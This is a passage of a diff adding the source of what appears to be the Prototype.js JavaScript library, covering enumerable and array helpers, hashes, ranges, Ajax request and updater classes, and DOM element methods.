+  pluck: function(property) {
+    var results = [];
+    this.each(function(value) {
+      results.push(value[property]);
+    });
+    return results;
+  },
+
+  reject: function(iterator, context) {
+    iterator = iterator.bind(context);
+    var results = [];
+    this.each(function(value, index) {
+      if (!iterator(value, index))
+        results.push(value);
+    });
+    return results;
+  },
+
+  sortBy: function(iterator, context) {
+    iterator = iterator.bind(context);
+    return this.map(function(value, index) {
+      return {value: value, criteria: iterator(value, index)};
+    }).sort(function(left, right) {
+      var a = left.criteria, b = right.criteria;
+      return a < b ? -1 : a > b ? 1 : 0;
+    }).pluck('value');
+  },
+
+  toArray: function() {
+    return this.map();
+  },
+
+  zip: function() {
+    var iterator = Prototype.K, args = $A(arguments);
+    if (Object.isFunction(args.last()))
+      iterator = args.pop();
+
+    var collections = [this].concat(args).map($A);
+    return this.map(function(value, index) {
+      return iterator(collections.pluck(index));
+    });
+  },
+
+  size: function() {
+    return this.toArray().length;
+  },
+
+  inspect: function() {
+    return '#<Enumerable:' + this.toArray().inspect() + '>';
+  }
+};
+
+Object.extend(Enumerable, {
+  map:     Enumerable.collect,
+  find:    Enumerable.detect,
+  select:  Enumerable.findAll,
+  filter:  Enumerable.findAll,
+  member:  Enumerable.include,
+  entries: Enumerable.toArray,
+  every:   Enumerable.all,
+  some:    Enumerable.any
+});
+function $A(iterable) {
+  if (!iterable) return [];
+  if (iterable.toArray) return iterable.toArray();
+  var length = iterable.length || 0, results = new Array(length);
+  while (length--) results[length] = iterable[length];
+  return results;
+}
+
+if (Prototype.Browser.WebKit) {
+  $A = function(iterable) {
+    if (!iterable) return [];
+    if (!(Object.isFunction(iterable) && iterable == '[object NodeList]') &&
+        iterable.toArray) return iterable.toArray();
+    var length = iterable.length || 0, results = new Array(length);
+    while (length--) results[length] = iterable[length];
+    return results;
+  };
+}
+
+Array.from = $A;
+
+Object.extend(Array.prototype, Enumerable);
+
+if (!Array.prototype._reverse) Array.prototype._reverse = Array.prototype.reverse;
+
+Object.extend(Array.prototype, {
+  _each: function(iterator) {
+    for (var i = 0, length = this.length; i < length; i++)
+      iterator(this[i]);
+  },
+
+  clear: function() {
+    this.length = 0;
+    return this;
+  },
+
+  first: function() {
+    return this[0];
+  },
+
+  last: function() {
+    return this[this.length - 1];
+  },
+
+  compact: function() {
+    return this.select(function(value) {
+      return value != null;
+    });
+  },
+
+  flatten: function() {
+    return this.inject([], function(array, value) {
+      return array.concat(Object.isArray(value) ?
+        value.flatten() : [value]);
+    });
+  },
+
+  without: function() {
+    var values = $A(arguments);
+    return this.select(function(value) {
+      return !values.include(value);
+    });
+  },
+
+  reverse: function(inline) {
+    return (inline !== false ? this : this.toArray())._reverse();
+  },
+
+  reduce: function() {
+    return this.length > 1 ? this : this[0];
+  },
+
+  uniq: function(sorted) {
+    return this.inject([], function(array, value, index) {
+      if (0 == index || (sorted ? array.last() != value : !array.include(value)))
+        array.push(value);
+      return array;
+    });
+  },
+
+  intersect: function(array) {
+    return this.uniq().findAll(function(item) {
+      return array.detect(function(value) { return item === value });
+    });
+  },
+
+  clone: function() {
+    return [].concat(this);
+  },
+
+  size: function() {
+    return this.length;
+  },
+
+  inspect: function() {
+    return '[' + this.map(Object.inspect).join(', ') + ']';
+  },
+
+  toJSON: function() {
+    var results = [];
+    this.each(function(object) {
+      var value = Object.toJSON(object);
+      if (!Object.isUndefined(value)) results.push(value);
+    });
+    return '[' + results.join(', ') + ']';
+  }
+});
+
+// use native browser JS 1.6 implementation if available
+if (Object.isFunction(Array.prototype.forEach))
+  Array.prototype._each = Array.prototype.forEach;
+
+if (!Array.prototype.indexOf) Array.prototype.indexOf = function(item, i) {
+  i || (i = 0);
+  var length = this.length;
+  if (i < 0) i = length + i;
+  for (; i < length; i++)
+    if (this[i] === item) return i;
+  return -1;
+};
+
+if (!Array.prototype.lastIndexOf) Array.prototype.lastIndexOf = function(item, i) {
+  i = isNaN(i) ? this.length : (i < 0 ? this.length + i : i) + 1;
+  var n = this.slice(0, i).reverse().indexOf(item);
+  return (n < 0) ? n : i - n - 1;
+};
+
+Array.prototype.toArray = Array.prototype.clone;
+
+function $w(string) {
+  if (!Object.isString(string)) return [];
+  string = string.strip();
+  return string ? string.split(/\s+/) : [];
+}
+
+if (Prototype.Browser.Opera){
+  Array.prototype.concat = function() {
+    var array = [];
+    for (var i = 0, length = this.length; i < length; i++) array.push(this[i]);
+    for (var i = 0, length = arguments.length; i < length; i++) {
+      if (Object.isArray(arguments[i])) {
+        for (var j = 0, arrayLength = arguments[i].length; j < arrayLength; j++)
+          array.push(arguments[i][j]);
+      } else {
+        array.push(arguments[i]);
+      }
+    }
+    return array;
+  };
+}
+Object.extend(Number.prototype, {
+  toColorPart: function() {
+    return this.toPaddedString(2, 16);
+  },
+
+  succ: function() {
+    return this + 1;
+  },
+
+  times: function(iterator) {
+    $R(0, this, true).each(iterator);
+    return this;
+  },
+
+  toPaddedString: function(length, radix) {
+    var string = this.toString(radix || 10);
+    return '0'.times(length - string.length) + string;
+  },
+
+  toJSON: function() {
+    return isFinite(this) ? this.toString() : 'null';
+  }
+});
+
+$w('abs round ceil floor').each(function(method){
+  Number.prototype[method] = Math[method].methodize();
+});
+function $H(object) {
+  return new Hash(object);
+};
+
+var Hash = Class.create(Enumerable, (function() {
+
+  function toQueryPair(key, value) {
+    if (Object.isUndefined(value)) return key;
+    return key + '=' + encodeURIComponent(String.interpret(value));
+  }
+
+  return {
+    initialize: function(object) {
+      this._object = Object.isHash(object) ? object.toObject() : Object.clone(object);
+    },
+
+    _each: function(iterator) {
+      for (var key in this._object) {
+        var value = this._object[key], pair = [key, value];
+        pair.key = key;
+        pair.value = value;
+        iterator(pair);
+      }
+    },
+
+    set: function(key, value) {
+      return this._object[key] = value;
+    },
+
+    get: function(key) {
+      return this._object[key];
+    },
+
+    unset: function(key) {
+      var value = this._object[key];
+      delete this._object[key];
+      return value;
+    },
+
+    toObject: function() {
+      return Object.clone(this._object);
+    },
+
+    keys: function() {
+      return this.pluck('key');
+    },
+
+    values: function() {
+      return this.pluck('value');
+    },
+
+    index: function(value) {
+      var match = this.detect(function(pair) {
+        return pair.value === value;
+      });
+      return match && match.key;
+    },
+
+    merge: function(object) {
+      return this.clone().update(object);
+    },
+
+    update: function(object) {
+      return new Hash(object).inject(this, function(result, pair) {
+        result.set(pair.key, pair.value);
+        return result;
+      });
+    },
+
+    toQueryString: function() {
+      return this.map(function(pair) {
+        var key = encodeURIComponent(pair.key), values = pair.value;
+
+        if (values && typeof values == 'object') {
+          if (Object.isArray(values))
+            return values.map(toQueryPair.curry(key)).join('&');
+        }
+        return toQueryPair(key, values);
+      }).join('&');
+    },
+
+    inspect: function() {
+      return '#<Hash:{' + this.map(function(pair) {
+        return pair.map(Object.inspect).join(': ');
+      }).join(', ') + '}>';
+    },
+
+    toJSON: function() {
+      return Object.toJSON(this.toObject());
+    },
+
+    clone: function() {
+      return new Hash(this);
+    }
+  }
+})());
+
+Hash.prototype.toTemplateReplacements = Hash.prototype.toObject;
+Hash.from = $H;
+var ObjectRange = Class.create(Enumerable, {
+  initialize: function(start, end, exclusive) {
+    this.start = start;
+    this.end = end;
+    this.exclusive = exclusive;
+  },
+
+  _each: function(iterator) {
+    var value = this.start;
+    while (this.include(value)) {
+      iterator(value);
+      value = value.succ();
+    }
+  },
+
+  include: function(value) {
+    if (value < this.start)
+      return false;
+    if (this.exclusive)
+      return value < this.end;
+    return value <= this.end;
+  }
+});
+
+var $R = function(start, end, exclusive) {
+  return new ObjectRange(start, end, exclusive);
+};
+
+var Ajax = {
+  getTransport: function() {
+    return Try.these(
+      function() {return new XMLHttpRequest()},
+      function() {return new ActiveXObject('Msxml2.XMLHTTP')},
+      function() {return new ActiveXObject('Microsoft.XMLHTTP')}
+    ) || false;
+  },
+
+  activeRequestCount: 0
+};
+
+Ajax.Responders = {
+  responders: [],
+
+  _each: function(iterator) {
+    this.responders._each(iterator);
+  },
+
+  register: function(responder) {
+    if (!this.include(responder))
+      this.responders.push(responder);
+  },
+
+  unregister: function(responder) {
+    this.responders = this.responders.without(responder);
+  },
+
+  dispatch: function(callback, request, transport, json) {
+    this.each(function(responder) {
+      if (Object.isFunction(responder[callback])) {
+        try {
+          responder[callback].apply(responder, [request, transport, json]);
+        } catch (e) { }
+      }
+    });
+  }
+};
+
+Object.extend(Ajax.Responders, Enumerable);
+
+Ajax.Responders.register({
+  onCreate:   function() { Ajax.activeRequestCount++ },
+  onComplete: function() { Ajax.activeRequestCount-- }
+});
+
+Ajax.Base = Class.create({
+  initialize: function(options) {
+    this.options = {
+      method:       'post',
+      asynchronous: true,
+      contentType:  'application/x-www-form-urlencoded',
+      encoding:     'UTF-8',
+      parameters:   '',
+      evalJSON:     true,
+      evalJS:       true
+    };
+    Object.extend(this.options, options || { });
+
+    this.options.method = this.options.method.toLowerCase();
+
+    if (Object.isString(this.options.parameters))
+      this.options.parameters = this.options.parameters.toQueryParams();
+    else if (Object.isHash(this.options.parameters))
+      this.options.parameters = this.options.parameters.toObject();
+  }
+});
+
+Ajax.Request = Class.create(Ajax.Base, {
+  _complete: false,
+
+  initialize: function($super, url, options) {
+    $super(options);
+    this.transport = Ajax.getTransport();
+    this.request(url);
+  },
+
+  request: function(url) {
+    this.url = url;
+    this.method = this.options.method;
+    var params = Object.clone(this.options.parameters);
+
+    if (!['get', 'post'].include(this.method)) {
+      // simulate other verbs over post
+      params['_method'] = this.method;
+      this.method = 'post';
+    }
+
+    this.parameters = params;
+
+    if (params = Object.toQueryString(params)) {
+      // when GET, append parameters to URL
+      if (this.method == 'get')
+        this.url += (this.url.include('?') ? '&' : '?') + params;
+      else if (/Konqueror|Safari|KHTML/.test(navigator.userAgent))
+        params += '&_=';
+    }
+
+    try {
+      var response = new Ajax.Response(this);
+      if (this.options.onCreate) this.options.onCreate(response);
+      Ajax.Responders.dispatch('onCreate', this, response);
+
+      this.transport.open(this.method.toUpperCase(), this.url,
+        this.options.asynchronous);
+
+      if (this.options.asynchronous) this.respondToReadyState.bind(this).defer(1);
+
+      this.transport.onreadystatechange = this.onStateChange.bind(this);
+      this.setRequestHeaders();
+
+      this.body = this.method == 'post' ? (this.options.postBody || params) : null;
+      this.transport.send(this.body);
+
+      /* Force Firefox to handle ready state 4 for synchronous requests */
+      if (!this.options.asynchronous && this.transport.overrideMimeType)
+        this.onStateChange();
+
+    }
+    catch (e) {
+      this.dispatchException(e);
+    }
+  },
+
+  onStateChange: function() {
+    var readyState = this.transport.readyState;
+    if (readyState > 1 && !((readyState == 4) && this._complete))
+      this.respondToReadyState(this.transport.readyState);
+  },
+
+  setRequestHeaders: function() {
+    var headers = {
+      'X-Requested-With': 'XMLHttpRequest',
+      'X-Prototype-Version': Prototype.Version,
+      'Accept': 'text/javascript, text/html, application/xml, text/xml, */*'
+    };
+
+    if (this.method == 'post') {
+      headers['Content-type'] = this.options.contentType +
+        (this.options.encoding ? '; charset=' + this.options.encoding : '');
+
+      /* Force "Connection: close" for older Mozilla browsers to work
+       * around a bug where XMLHttpRequest sends an incorrect
+       * Content-length header. See Mozilla Bugzilla #246651.
+       */
+      if (this.transport.overrideMimeType &&
+          (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0,2005])[1] < 2005)
+            headers['Connection'] = 'close';
+    }
+
+    // user-defined headers
+    if (typeof this.options.requestHeaders == 'object') {
+      var extras = this.options.requestHeaders;
+
+      if (Object.isFunction(extras.push))
+        for (var i = 0, length = extras.length; i < length; i += 2)
+          headers[extras[i]] = extras[i+1];
+      else
+        $H(extras).each(function(pair) { headers[pair.key] = pair.value });
+    }
+
+    for (var name in headers)
+      this.transport.setRequestHeader(name, headers[name]);
+  },
+
+  success: function() {
+    var status = this.getStatus();
+    return !status || (status >= 200 && status < 300);
+  },
+
+  getStatus: function() {
+    try {
+      return this.transport.status || 0;
+    } catch (e) { return 0 }
+  },
+
+  respondToReadyState: function(readyState) {
+    var state = Ajax.Request.Events[readyState], response = new Ajax.Response(this);
+
+    if (state == 'Complete') {
+      try {
+        this._complete = true;
+        (this.options['on' + response.status]
+         || this.options['on' + (this.success() ? 'Success' : 'Failure')]
+         || Prototype.emptyFunction)(response, response.headerJSON);
+      } catch (e) {
+        this.dispatchException(e);
+      }
+
+      var contentType = response.getHeader('Content-type');
+      if (this.options.evalJS == 'force'
+          || (this.options.evalJS && this.isSameOrigin() && contentType
+          && contentType.match(/^\s*(text|application)\/(x-)?(java|ecma)script(;.*)?\s*$/i)))
+        this.evalResponse();
+    }
+
+    try {
+      (this.options['on' + state] || Prototype.emptyFunction)(response, response.headerJSON);
+      Ajax.Responders.dispatch('on' + state, this, response, response.headerJSON);
+    } catch (e) {
+      this.dispatchException(e);
+    }
+
+    if (state == 'Complete') {
+      // avoid memory leak in MSIE: clean up
+      this.transport.onreadystatechange = Prototype.emptyFunction;
+    }
+  },
+
+  isSameOrigin: function() {
+    var m = this.url.match(/^\s*https?:\/\/[^\/]*/);
+    return !m || (m[0] == '#{protocol}//#{domain}#{port}'.interpolate({
+      protocol: location.protocol,
+      domain: document.domain,
+      port: location.port ? ':' + location.port : ''
+    }));
+  },
+
+  getHeader: function(name) {
+    try {
+      return this.transport.getResponseHeader(name) || null;
+    } catch (e) { return null }
+  },
+
+  evalResponse: function() {
+    try {
+      return eval((this.transport.responseText || '').unfilterJSON());
+    } catch (e) {
+      this.dispatchException(e);
+    }
+  },
+
+  dispatchException: function(exception) {
+    (this.options.onException || Prototype.emptyFunction)(this, exception);
+    Ajax.Responders.dispatch('onException', this, exception);
+  }
+});
+
+Ajax.Request.Events =
+  ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete'];
+
+Ajax.Response = Class.create({
+  initialize: function(request){
+    this.request = request;
+    var transport  = this.transport  = request.transport,
+        readyState = this.readyState = transport.readyState;
+
+    if((readyState > 2 && !Prototype.Browser.IE) || readyState == 4) {
+      this.status       = this.getStatus();
+      this.statusText   = this.getStatusText();
+      this.responseText = String.interpret(transport.responseText);
+      this.headerJSON   = this._getHeaderJSON();
+    }
+
+    if(readyState == 4) {
+      var xml = transport.responseXML;
+      this.responseXML  = Object.isUndefined(xml) ? null : xml;
+      this.responseJSON = this._getResponseJSON();
+    }
+  },
+
+  status:      0,
+  statusText: '',
+
+  getStatus: Ajax.Request.prototype.getStatus,
+
+  getStatusText: function() {
+    try {
+      return this.transport.statusText || '';
+    } catch (e) { return '' }
+  },
+
+  getHeader: Ajax.Request.prototype.getHeader,
+
+  getAllHeaders: function() {
+    try {
+      return this.getAllResponseHeaders();
+    } catch (e) { return null }
+  },
+
+  getResponseHeader: function(name) {
+    return this.transport.getResponseHeader(name);
+  },
+
+  getAllResponseHeaders: function() {
+    return this.transport.getAllResponseHeaders();
+  },
+
+  _getHeaderJSON: function() {
+    var json = this.getHeader('X-JSON');
+    if (!json) return null;
+    json = decodeURIComponent(escape(json));
+    try {
+      return json.evalJSON(this.request.options.sanitizeJSON ||
+        !this.request.isSameOrigin());
+    } catch (e) {
+      this.request.dispatchException(e);
+    }
+  },
+
+  _getResponseJSON: function() {
+    var options = this.request.options;
+    if (!options.evalJSON || (options.evalJSON != 'force' &&
+      !(this.getHeader('Content-type') || '').include('application/json')) ||
+        this.responseText.blank())
+          return null;
+    try {
+      return this.responseText.evalJSON(options.sanitizeJSON ||
+        !this.request.isSameOrigin());
+    } catch (e) {
+      this.request.dispatchException(e);
+    }
+  }
+});
+
+Ajax.Updater = Class.create(Ajax.Request, {
+  initialize: function($super, container, url, options) {
+    this.container = {
+      success: (container.success || container),
+      failure: (container.failure || (container.success ? null : container))
+    };
+
+    options = Object.clone(options);
+    var onComplete = options.onComplete;
+    options.onComplete = (function(response, json) {
+      this.updateContent(response.responseText);
+      if (Object.isFunction(onComplete)) onComplete(response, json);
+    }).bind(this);
+
+    $super(url, options);
+  },
+
+  updateContent: function(responseText) {
+    var receiver = this.container[this.success() ? 'success' : 'failure'],
+        options = this.options;
+
+    if (!options.evalScripts) responseText = responseText.stripScripts();
+
+    if (receiver = $(receiver)) {
+      if (options.insertion) {
+        if (Object.isString(options.insertion)) {
+          var insertion = { }; insertion[options.insertion] = responseText;
+          receiver.insert(insertion);
+        }
+        else options.insertion(receiver, responseText);
+      }
+      else receiver.update(responseText);
+    }
+  }
+});
+
+Ajax.PeriodicalUpdater = Class.create(Ajax.Base, {
+  initialize: function($super, container, url, options) {
+    $super(options);
+    this.onComplete = this.options.onComplete;
+
+    this.frequency = (this.options.frequency || 2);
+    this.decay = (this.options.decay || 1);
+
+    this.updater = { };
+    this.container = container;
+    this.url = url;
+
+    this.start();
+  },
+
+  start: function() {
+    this.options.onComplete = this.updateComplete.bind(this);
+    this.onTimerEvent();
+  },
+
+  stop: function() {
+    this.updater.options.onComplete = undefined;
+    clearTimeout(this.timer);
+    (this.onComplete || Prototype.emptyFunction).apply(this, arguments);
+  },
+
+  updateComplete: function(response) {
+    if (this.options.decay) {
+      this.decay = (response.responseText == this.lastText ?
+        this.decay * this.options.decay : 1);
+
+      this.lastText = response.responseText;
+    }
+    this.timer = this.onTimerEvent.bind(this).delay(this.decay * this.frequency);
+  },
+
+  onTimerEvent: function() {
+    this.updater = new Ajax.Updater(this.container, this.url, this.options);
+  }
+});
+function $(element) {
+  if (arguments.length > 1) {
+    for (var i = 0, elements = [], length = arguments.length; i < length; i++)
+      elements.push($(arguments[i]));
+    return elements;
+  }
+  if (Object.isString(element))
+    element = document.getElementById(element);
+  return Element.extend(element);
+}
+
+if (Prototype.BrowserFeatures.XPath) {
+  document._getElementsByXPath = function(expression, parentElement) {
+    var results = [];
+    var query = document.evaluate(expression, $(parentElement) || document,
+      null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
+    for (var i = 0, length = query.snapshotLength; i < length; i++)
+      results.push(Element.extend(query.snapshotItem(i)));
+    return results;
+  };
+}
+
+/*--------------------------------------------------------------------------*/
+
+if (!window.Node) var Node = { };
+
+if (!Node.ELEMENT_NODE) {
+  // DOM level 2 ECMAScript Language Binding
+  Object.extend(Node, {
+    ELEMENT_NODE: 1,
+    ATTRIBUTE_NODE: 2,
+    TEXT_NODE: 3,
+    CDATA_SECTION_NODE: 4,
+    ENTITY_REFERENCE_NODE: 5,
+    ENTITY_NODE: 6,
+    PROCESSING_INSTRUCTION_NODE: 7,
+    COMMENT_NODE: 8,
+    DOCUMENT_NODE: 9,
+    DOCUMENT_TYPE_NODE: 10,
+    DOCUMENT_FRAGMENT_NODE: 11,
+    NOTATION_NODE: 12
+  });
+}
+
+(function() {
+  var element = this.Element;
+  this.Element = function(tagName, attributes) {
+    attributes = attributes || { };
+    tagName = tagName.toLowerCase();
+    var cache = Element.cache;
+    if (Prototype.Browser.IE && attributes.name) {
+      tagName = '<' + tagName + ' name="' + attributes.name + '">';
+      delete attributes.name;
+      return Element.writeAttribute(document.createElement(tagName), attributes);
+    }
+    if (!cache[tagName]) cache[tagName] = Element.extend(document.createElement(tagName));
+    return Element.writeAttribute(cache[tagName].cloneNode(false), attributes);
+  };
+  Object.extend(this.Element, element || { });
+}).call(window);
+
+Element.cache = { };
+
+Element.Methods = {
+  visible: function(element) {
+    return $(element).style.display != 'none';
+  },
+
+  toggle: function(element) {
+    element = $(element);
+    Element[Element.visible(element) ? 'hide' : 'show'](element);
+    return element;
+  },
+
+  hide: function(element) {
+    $(element).style.display = 'none';
+    return element;
+  },
+
+  show: function(element) {
+    $(element).style.display = '';
+    return element;
+  },
+
+  remove: function(element) {
+    element = $(element);
+    element.parentNode.removeChild(element);
+    return element;
+  },
+
+  update: function(element, content) {
+    element = $(element);
+    if (content && content.toElement) content = content.toElement();
+    if (Object.isElement(content)) return element.update().insert(content);
+    content = Object.toHTML(content);
+    element.innerHTML = content.stripScripts();
+    content.evalScripts.bind(content).defer();
+    return element;
+  },
+
+  replace: function(element, content) {
+    element = $(element);
+    if (content && content.toElement) content = content.toElement();
+    else if (!Object.isElement(content)) {
+      content = Object.toHTML(content);
+      var range = element.ownerDocument.createRange();
+      range.selectNode(element);
+      content.evalScripts.bind(content).defer();
+      content = range.createContextualFragment(content.stripScripts());
+    }
+    element.parentNode.replaceChild(content, element);
+    return element;
+  },
+
+  insert: function(element, insertions) {
+    element = $(element);
+
+    if (Object.isString(insertions) || Object.isNumber(insertions) ||
+        Object.isElement(insertions) || (insertions && (insertions.toElement || insertions.toHTML)))
+          insertions = {bottom:insertions};
+
+    var content, insert, tagName, childNodes;
+
+    for (var position in insertions) {
+      content  = insertions[position];
+      position = position.toLowerCase();
+      insert = Element._insertionTranslations[position];
+
+      if (content && content.toElement) content = content.toElement();
+      if (Object.isElement(content)) {
+        insert(element, content);
+        continue;
+      }
+
+      content = Object.toHTML(content);
+
+      tagName = ((position == 'before' || position == 'after')
+        ? element.parentNode : element).tagName.toUpperCase();
+
+      childNodes = Element._getContentFromAnonymousElement(tagName, content.stripScripts());
+
+      if (position == 'top' || position == 'after') childNodes.reverse();
+      childNodes.each(insert.curry(element));
+
+      content.evalScripts.bind(content).defer();
+    }
+
+    return element;
+  },
+
+  wrap: function(element, wrapper, attributes) {
+    element = $(element);
+    if (Object.isElement(wrapper))
+      $(wrapper).writeAttribute(attributes || { });
+    else if (Object.isString(wrapper)) wrapper = new Element(wrapper, attributes);
+    else wrapper = new Element('div', wrapper);
+    if (element.parentNode)
+      element.parentNode.replaceChild(wrapper, element);
+    wrapper.appendChild(element);
+    return wrapper;
+  },
+
+  inspect: function(element) {
+    element = $(element);
+    var result = '<' + element.tagName.toLowerCase();
+    $H({'id': 'id', 'className': 'class'}).each(function(pair) {
+      var property = pair.first(), attribute = pair.last();
+      var value = (element[property] || '').toString();
+      if (value) result += ' ' + attribute + '=' + value.inspect(true);
+    });
+    return result + '>';
+  },
+
+  recursivelyCollect: function(element, property) {
+    element = $(element);
+    var elements = [];
+    while (element = element[property])
+      if (element.nodeType == 1)
+        elements.push(Element.extend(element));
+    return elements;
+  },
+
+  ancestors: function(element) {
+    return $(element).recursivelyCollect('parentNode');
+  },
+
+  descendants: function(element) {
+    return $(element).select("*");
+  },
+
+  firstDescendant: function(element) {
+    element = $(element).firstChild;
+    while (element && element.nodeType != 1) element = element.nextSibling;
+    return $(element);
+  },
+
+  immediateDescendants: function(element) {
+    if (!(element = $(element).firstChild)) return [];
+    while (element && element.nodeType != 1) element = element.nextSibling;
+    if (element) return [element].concat($(element).nextSiblings());
+    return [];
+  },
+
+  previousSiblings: function(element) {
+    return $(element).recursivelyCollect('previousSibling');
+  },
+
+  nextSiblings: function(element) {
+    return $(element).recursivelyCollect('nextSibling');
+  },
+
+  siblings: function(element) {
+    element = $(element);
+    return element.previousSiblings().reverse().concat(element.nextSiblings());
+  },
+
+  match: function(element, selector) {
+    if (Object.isString(selector))
+      selector = new Selector(selector);
+    return selector.match($(element));
+  },
+
+  up: function(element, expression, index) {
+    element = $(element);
+    if (arguments.length == 1) return $(element.parentNode);
+    var ancestors = element.ancestors();
+    return Object.isNumber(expression) ? ancestors[expression] :
+      Selector.findElement(ancestors, expression, index);
+  },
+
+  down: function(element, expression, index) {
+    element = $(element);
+    if (arguments.length == 1) return element.firstDescendant();
+    return Object.isNumber(expression) ? element.descendants()[expression] :
+      element.select(expression)[index || 0];
+  },
+
+  previous: function(element, expression, index) {
+    element = $(element);
+    if (arguments.length == 1) return $(Selector.handlers.previousElementSibling(element));
+    var previousSiblings = element.previousSiblings();
+    return Object.isNumber(expression) ? previousSiblings[expression] :
+      Selector.findElement(previousSiblings, expression, index);
+  },
+
+  next: function(element, expression, index) {
+    element = $(element);
+    if (arguments.length == 1) return $(Selector.handlers.nextElementSibling(element));
+    var nextSiblings = element.nextSiblings();
+    return Object.isNumber(expression) ? nextSiblings[expression] :
+      Selector.findElement(nextSiblings, expression, index);
+  },
+
+  select: function() {
+    var args = $A(arguments), element = $(args.shift());
+    return Selector.findChildElements(element, args);
+  },
+
+  adjacent: function() {
+    var args = $A(arguments), element = $(args.shift());
+    return Selector.findChildElements(element.parentNode, args).without(element);
+  },
+
+  identify: function(element) {
+    element = $(element);
+    var id = element.readAttribute('id'), self = arguments.callee;
+    if (id) return id;
+    do { id = 'anonymous_element_' + self.counter++ } while ($(id));
+    element.writeAttribute('id', id);
+    return id;
+  },
+
+  readAttribute: function(element, name) {
+    element = $(element);
+    if (Prototype.Browser.IE) {
+      var t = Element._attributeTranslations.read;
+      if (t.values[name]) return t.values[name](element, name);
+      if (t.names[name]) name = t.names[name];
+      if (name.include(':')) {
+        return (!element.attributes || !element.attributes[name]) ? null :
+         element.attributes[name].value;
+      }
+    }
+    return element.getAttribute(name);
+  },
+
+  writeAttribute: function(element, name, value) {
+    element = $(element);
+    var attributes = { }, t = Element._attributeTranslations.write;
+
+    if (typeof name == 'object') attributes = name;
+    else attributes[name] = Object.isUndefined(value) ? true : value;
+
+    for (var attr in attributes) {
+      name = t.names[attr] || attr;
+      value = attributes[attr];
+      if (t.values[attr]) name = t.values[attr](element, value);
+      if (value === false || value === null)
+        element.removeAttribute(name);
+      else if (value === true)
+        element.setAttribute(name, name);
+      else element.setAttribute(name, value);
+    }
+    return element;
+  },
+
+  getHeight: function(element) {
+    return $(element).getDimensions().height;
+  },
+
+  getWidth: function(element) {
+    return $(element).getDimensions().width;
+  },
+
+  classNames: function(element) {
+    return new Element.ClassNames(element);
+  },
+
+  hasClassName: function(element, className) {
+    if (!(element = $(element))) return;
+    var elementClassName = element.className;
+    return (elementClassName.length > 0 && (elementClassName == className ||
+      new RegExp("(^|\\s)" + className + "(\\s|$)").test(elementClassName)));
+  },
+
+  addClassName: function(element, className) {
+    if (!(element = $(element))) return;
+    if (!element.hasClassName(className))
+      element.className += (element.className ? ' ' : '') + className;
+    return element;
+  },
+
+  removeClassName: function(element, className) {
+    if (!(element = $(element))) return;
+    element.className = element.className.replace(
+      new RegExp("(^|\\s+)" + className + "(\\s+|$)"), ' ').strip();
+    return element;
+  },
+
+  toggleClassName: function(element, className) {
+    if (!(element = $(element))) return;
+    return element[element.hasClassName(className) ?
+      'removeClassName' : 'addClassName'](className);
+  },
+
+  // removes whitespace-only text node children
+  cleanWhitespace: function(element) {
+    element = $(element);
+    var node = element.firstChild;
+    while (node) {
+      var nextNode = node.nextSibling;
+      if (node.nodeType == 3 && !/\S/.test(node.nodeValue))
+        element.removeChild(node);
+      node = nextNode;
+    }
+    return element;
+  },
+
+  empty: function(element) {
+    return $(element).innerHTML.blank();
+  },
+
+  descendantOf: function(element, ancestor) {
+    element = $(element), ancestor = $(ancestor);
+    var originalAncestor = ancestor;
+
+    if (element.compareDocumentPosition)
+      return (element.compareDocumentPosition(ancestor) & 8) === 8;
+
+    if (element.sourceIndex && !Prototype.Browser.Opera) {
+      var e = element.sourceIndex, a = ancestor.sourceIndex,
+       nextAncestor = ancestor.nextSibling;
+      if (!nextAncestor) {
+        do { ancestor = ancestor.parentNode; }
+        while (!(nextAncestor = ancestor.nextSibling) && ancestor.parentNode);
+      }
+      if (nextAncestor && nextAncestor.sourceIndex)
+       return (e > a && e < nextAncestor.sourceIndex);
+    }
+
+    while (element = element.parentNode)
+      if (element == originalAncestor) return true;
+    return false;
+  },
+
+  scrollTo: function(element) {
+    element = $(element);
+    var pos = element.cumulativeOffset();
+    window.scrollTo(pos[0], pos[1]);
+    return element;
+  },
+
+  getStyle: function(element, style) {
+    element = $(element);
+    style = style == 'float' ? 'cssFloat' : style.camelize();
+    var value = element.style[style];
+    if (!value) {
+      var css = document.defaultView.getComputedStyle(element, null);
+      value = css ? css[style] : null;
+    }
+    if (style == 'opacity') return value ? parseFloat(value) : 1.0;
+    return value == 'auto' ? null : value;
+  },
+
+  getOpacity: function(element) {
+    return $(element).getStyle('opacity');
+  },
+
+  setStyle: function(element, styles) {
+    element = $(element);
+    var elementStyle = element.style, match;
+    if (Object.isString(styles)) {
+      element.style.cssText += ';' + styles;
+      return styles.include('opacity') ?
+        element.setOpacity(styles.match(/opacity:\s*(\d?\.?\d*)/)[1]) : element;
+    }
+    for (var property in styles)
+      if (property == 'opacity') element.setOpacity(styles[property]);
+      else
+        elementStyle[(property == 'float' || property == 'cssFloat') ?
+          (Object.isUndefined(elementStyle.styleFloat) ? 'cssFloat' : 'styleFloat') :
+            property] = styles[property];
+
+    return element;
+  },
+
+  setOpacity: function(element, value) {
+    element = $(element);
+    element.style.opacity = (value == 1 || value === '') ? '' :
+      (value < 0.00001) ? 0 : value;
+    return element;
+  },
+
+  getDimensions: function(element) {
+    element = $(element);
+    var display = $(element).getStyle('display');
+    if (display != 'none' && display != null) // Safari bug
+      return {width: element.offsetWidth, height: element.offsetHeight};
+
+    // All *Width and *Height properties give 0 on elements with display none,
+    // so enable the element temporarily
+    var els = element.style;
+    var originalVisibility = els.visibility;
+    var originalPosition = els.position;
+    var originalDisplay = els.display;
+    els.visibility = 'hidden';
+    els.position = 'absolute';
+    els.display = 'block';
+    var originalWidth = element.clientWidth;
+    var originalHeight = element.clientHeight;
+    els.display = originalDisplay;
+    els.position = originalPosition;
+    els.visibility = originalVisibility;
+    return {width: originalWidth, height: originalHeight};
+  },
+
+  makePositioned: function(element) {
+    element = $(element);
+    var pos = Element.getStyle(element, 'position');
+    if (pos == 'static' || !pos) {
+      element._madePositioned = true;
+      element.style.position = 'relative';
+      // Opera returns the offset relative to the positioning context, when an
+      // element is position relative but top and left have not been defined
+      if (window.opera) {
+        element.style.top = 0;
+        element.style.left = 0;
+      }
+    }
+    return element;
+  },
+
+  undoPositioned: function(element) {
+    element = $(element);
+    if (element._madePositioned) {
+      element._madePositioned = undefined;
+      element.style.position =
+        element.style.top =
+        element.style.left =
+        element.style.bottom =
+        element.style.right = '';
+    }
+    return element;
+  },
+
+  makeClipping: function(element) {
+    element = $(element);
